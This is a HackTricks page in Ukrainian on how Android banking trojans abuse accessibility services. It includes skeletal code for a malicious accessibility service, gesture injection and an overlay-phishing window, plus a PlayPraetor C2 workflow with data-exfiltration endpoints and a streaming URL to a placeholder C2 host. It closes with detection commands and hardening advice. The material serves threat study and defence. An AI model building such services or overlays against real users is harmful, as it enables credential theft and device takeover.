Зловживання службами доступності Android

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

AccessibilityService була створена, щоб допомогти користувачам з обмеженими можливостями взаємодіяти з пристроями Android. На жаль, ті ж потужні API автоматизації (глобальна навігація, введення тексту, обробка жестів, вікна накладок…) можуть бути використані шкідливим ПЗ для отримання повного віддаленого контролю над пристроєм без прав root.

Сучасні банківські трояни Android та трояни віддаленого доступу (RAT) такі як PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda та багато інших слідують одному й тому ж рецепту:

  1. Соціально інженерити жертву, щоб вона ввімкнула зловмисну службу доступності (дозвіл BIND_ACCESSIBILITY_SERVICE вважається "високим ризиком" і вимагає явної дії користувача).
  2. Використовувати службу для
  • захоплення кожної події UI та тексту, що з'являється на екрані,
  • ін'єкції синтетичних жестів (dispatchGesture) та глобальних дій (performGlobalAction), щоб автоматизувати будь-яке завдання, яке бажає оператор,
  • малювання накладок на весь екран поверх легітимних додатків, використовуючи тип вікна TYPE_ACCESSIBILITY_OVERLAY (без запиту SYSTEM_ALERT_WINDOW!),
  • безшумного надання додаткових дозволів під час виконання, натискаючи на системні діалоги від імені жертви.
  1. Екстракція даних або виконання On-Device-Fraud (ODF) в реальному часі, поки користувач дивиться на цілком нормальний екран.

Запит на дозвіл

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Супутній XML визначає, як виглядатиме підроблений діалог:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Примітиви автоматизації віддаленого інтерфейсу користувача

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

З використанням лише цих двох API зловмисник може:

  • Розблокувати екран, відкрити банківський додаток, навігувати його UI-дерево та надіслати форму переказу.
  • Приймати кожен діалог дозволу, що з'являється.
  • Встановлювати/оновлювати додаткові APK через намір Play Store.

Шаблони зловживання

1. Фішинг з накладенням (Збирання облікових даних)

Прозорий або непрозорий WebView додається до менеджера вікон:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Жертва вводить облікові дані у фальшиву форму, в той час як фоновий додаток отримує ті ж жести – жоден підозрілий запит "малювати поверх інших додатків" ніколи не відображається.

Детальний приклад: розділ Accessibility Overlay Phishing на сторінці Tapjacking.

2. Автоматизація шахрайства на пристрої

Сімейства шкідливих програм, такі як PlayPraetor, підтримують постійний канал WebSocket, де оператор може видавати команди високого рівня (init, update, alert_arr, report_list, …). Сервіс перетворює ці команди на низькорівневі жести, досягаючи несанкціонованих транзакцій в реальному часі, які легко обходять багатофакторну аутентифікацію, пов'язану з цим пристроєм.

3. Потокове відео та моніторинг

Поєднуючи MediaProjection API з бібліотекою клієнта RTMP, RAT може транслювати живий буфер кадрів на rtmp://<c2>:1935/live/<device_id>, надаючи противнику ідеальну ситуаційну обізнаність, поки движок Accessibility керує інтерфейсом.


PlayPraetor – робочий процес командування та контролю

  1. HTTP(S) heartbeat – ітерувати по заздалегідь визначеному списку, поки один домен не відповість POST /app/searchPackageName з активним C2.
  2. WebSocket (порт 8282) – двосторонні JSON команди:
  • update – надсилати нові конфігурації/APK
  • alert_arr – налаштувати шаблони накладок
  • report_list – надіслати список цільових назв пакетів
  • heartbeat_web – підтримувати з'єднання
  1. RTMP (порт 1935) – трансляція живого екрану/відео.
  2. REST ексфільтрація
  • /app/saveDevice (відбиток)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (банківські облікові дані)

AccessibilityService є локальним движком, який перетворює ці команди з хмари на фізичні взаємодії.


Виявлення шкідливих служб доступності

  • adb shell settings get secure enabled_accessibility_services
  • Налаштування → Доступність → Завантажені служби – шукайте додатки, які не з Google Play.
  • Рішення MDM / EMM можуть примусово застосовувати ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+), щоб блокувати завантажені служби.
  • Аналізуйте запущені служби:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Рекомендації щодо посилення безпеки для розробників додатків

  • Позначайте чутливі елементи з android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Поєднуйте setFilterTouchesWhenObscured(true) з FLAG_SECURE, щоб запобігти викраденню натискань/накладок.
  • Виявляйте накладки, опитуючи WindowManager.getDefaultDisplay().getFlags() або API ViewRootImpl.
  • Відмовляйтеся від роботи, коли активна Settings.canDrawOverlays() або ненадійна служба доступності.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks